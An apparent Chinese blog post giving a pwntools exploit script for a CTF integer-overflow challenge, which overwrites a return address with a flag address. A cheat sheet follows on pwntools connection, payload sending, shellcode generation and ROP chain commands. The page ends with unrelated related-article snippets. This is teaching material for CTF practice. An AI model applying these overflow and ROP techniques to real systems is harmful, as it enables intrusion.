from pwn import *
#io = process("./int_overflow")
io = remote("远程链接ip",端口)
flag_addr = 需要覆盖的flag地址如0x804868B
offset = 0x14 + 0x4
io.sendlineafter("Your choice:","1")
io.sendlineafter("username:","aaa")
payload = b"A"*offset + p32(flag_addr) + b"A"*(260 - offset - 4)
io.sendlineafter("passwd:",payload)
io.interactive()

pwntools语句讲解

连接

本地 :io = porcess("./文件名")
远程:io = remote(“ip地址”,端口)
关闭连接:io.close()

发送 payload

io.sendafter(some_string, payload) 接收到 some_string 后, 发送你的 payload;
p.sendlineafter(some_string, payload) 接收到 some_string 后, 发送你的 payload,加个换行
p.send(payload) 发送 payload
p.sendline(payload) 发送 payload,并进行换行(末尾\n)

接收返回内容

p.interactive() 直接进行交互,相当于回到shell的模式,一般在取得shell之后使用

生成 shellcode:

asm(shellcraft.sh())

p.recvn(N) 接受 N(数字) 字符

p.recvline() 接收一行输出

p.recvlines(N) 接收 N(数字) 行输出

p.recvuntil(some_string) 接收到 some_string 为止

stack=int(p.recv(10),16) 接收回显的参数在栈上的地址,长度是10,以16进制表示

ELF

首先需要 elf=ELF(’./filename’) 来产生一个对象
elf.symbols[‘a_function’] 找到 a_function 的地址
elf.got[‘a_function’] 找到 a_function的 got
elf.plt[‘a_function’] 找到 a_function 的 plt
elf.next(e.search(“some_characters”)) 找到包含 some_characters 可以是字符串,汇编代码或者某个数值的地址

ROP

rop = ROP(’./filename’) 还是要先创建一个对象
rop.raw(‘a’*32) 在构造的 rop 链里面写 32 个 a
rop.call(‘read’, (0, elf.bss(0x80))) 调用一个函数,可以简写成:rop.read(0, elf.bss(0x80))
rop.chain() 就是整个 rop 链,发送的 payload
rop.dump() 直观地展示当前的 rop 链
rop.migrate(base_stage) 将程序流程转移到 base_stage(地址)
rop.unresolve(value) 给出一个地址,反解析出符号
rop.search(regs=[‘ecx’,‘ebx’]) 搜索对 eax 进行操作的 gadgets
rop.find_gadget([‘pop eax’,‘ret’]) 搜索 pop eax ret 这样的 gadgets

pwntools语句的简单使用,包含例子相关推荐

  1. 2977 生理周期(简单的枚举例子)

    描述 人生来就有三个生理周期,分别为体力.感情和智力周期,它们的周期长度为23天.28天和33天.每一个周期中有一天是高峰.在高峰这天,人会在相应的方面表现出色.例如,智力周期的高峰,人会思维敏捷,精 ...

  2. FFmpeg 简单的视频播放例子(Qt)

    FFmpeg 简单的视频播放例子(Qt) 一.简述 记--直接在FFmpeg官网下载已经编译好的库(也可以自己用源码编译),并在Qt程序中引用并使用,例子知识简单的播放,待完善. 例子代码和FFmpe ...

  3. 一个最简单的Lucene例子

    Lucene的使用,简单来说可以划分为两种类型,一是建立索引,二是搜索内容. 一.建立索引的五个基础类 Document, Field, IndexWriter, Analyzer, Director ...

  4. mvc登录实例 mysql_spring mvc + mybatis + mysql 调整的一个简单的登录例子

    spring mvc + mybatis + mysql 整合的一个简单的登录例子 今天用spring跟mybatis整合写了一个简单的登录例子,第一次整合,给自己做个笔记,可能注释写的有点少,做的不 ...

  5. 菜鸟学习Hibernate——简单的一个例子

    一.Hibernate开发. 上篇博客已经为大家介绍了持久层框架的发展流程,持久层框架的种类. 为了能够使用Hibernate快速上手,我们先讲解一个简单的Hibernate应用实例hibernate ...

  6. JavaScript设计模式--简单工厂模式例子---XHR工厂

    JavaScript设计模式--简单工厂模式例子---XHR工厂 第一步,Ajax操作接口(目的是起一个接口检测作用) (1)引入接口文件 //定义一个静态方法来实现接口与实现类的直接检验 //静态方 ...

  7. python条件语句-Python中条件判断语句的简单使用方法

    最简单的条件语句: if expression: expr_true_suite 如上,if是关键字,expression是条件表达式,条件表达式支持多重条件判断,可以用布尔操作符and.or和not ...

  8. 基于vue-cli、elementUI的Vue超简单入门小例子

    基于vue-cli.elementUI的Vue超简单入门小例子 这个例子还是比较简单的,独立完成后,能大概知道vue是干嘛的,可以写个todoList的小例子. 开始写例子之前,先对环境的部署做点简单 ...

  9. java servlet例子_Servlet学习教程(三)---- 一个简单的Servlet例子

    我们用个最简单的Servlet例子来解说一下Servlet简单配置以及Servlet类实现类的写法. 第一,我们新建一个Dynamic Web Project,起名Servlet 点击NEXT,设置D ...

最新文章

  1. Python+Selenium自动化
  2. C++ explicit关键字详解(转载)
  3. PAT:1053. Path of Equal Weight (30) AC
  4. pic单片机c语言存储器定义,PIC单片机C语言程序设计1 7.PDF
  5. 为什么卫星天线长得像口大锅?
  6. ltv价值 应用_用户终生价值Ltv是什么,在游戏设计中如何考虑?
  7. python如何安装pdfminer_|请教在python3中安装pdfminer.six的方法
  8. CSS失效的问题总结(转:孟子E章)
  9. GraphX实现N度关系
  10. Python流程控制的 for、 while、循环和嵌套词汇continue、break、range
  11. EventBus的基本使用步骤
  12. MAC VSCODE配置C语言开发环境
  13. Struts 2的基石——拦截器(Interceptor)详细讲解
  14. 孕妇睡眠质量差怎么办?如何提高睡眠质量?
  15. 小学期学Java有感
  16. 我在绑定微信账号时出现了问题,提示该微信已绑定其他账号
  17. 支付宝支付成功之后的接口_继支付宝微信之后,51信用卡还款也开始收费了,手续费再创新高...
  18. CSDN Markdown编辑器将公式取消斜体的方法
  19. Java核心编程(22)
  20. CSS文字超出部分用省略号代替,js鼠标悬停时显示全部文本

热门文章

  1. maven junit scope test坑
  2. 什么是虚拟机 虚拟机有什么用?
  3. 20145209 2016-2017-2 《Java程序设计》第8周学习总结
  4. 基础知识(9)- Swing用户界面组件
  5. 如何查看 phtml文件 并有代码颜色提示
  6. linux下软件的安装[转]
  7. boot分布式计算 spring_springboot05-分布式系统理念
  8. 【推荐】由浅入深学FI—获利能力分析
  9. 【实用】ABAP“FOR ALL ENTRIES”的Hints 优化
  10. 关于自定义程序的效能优化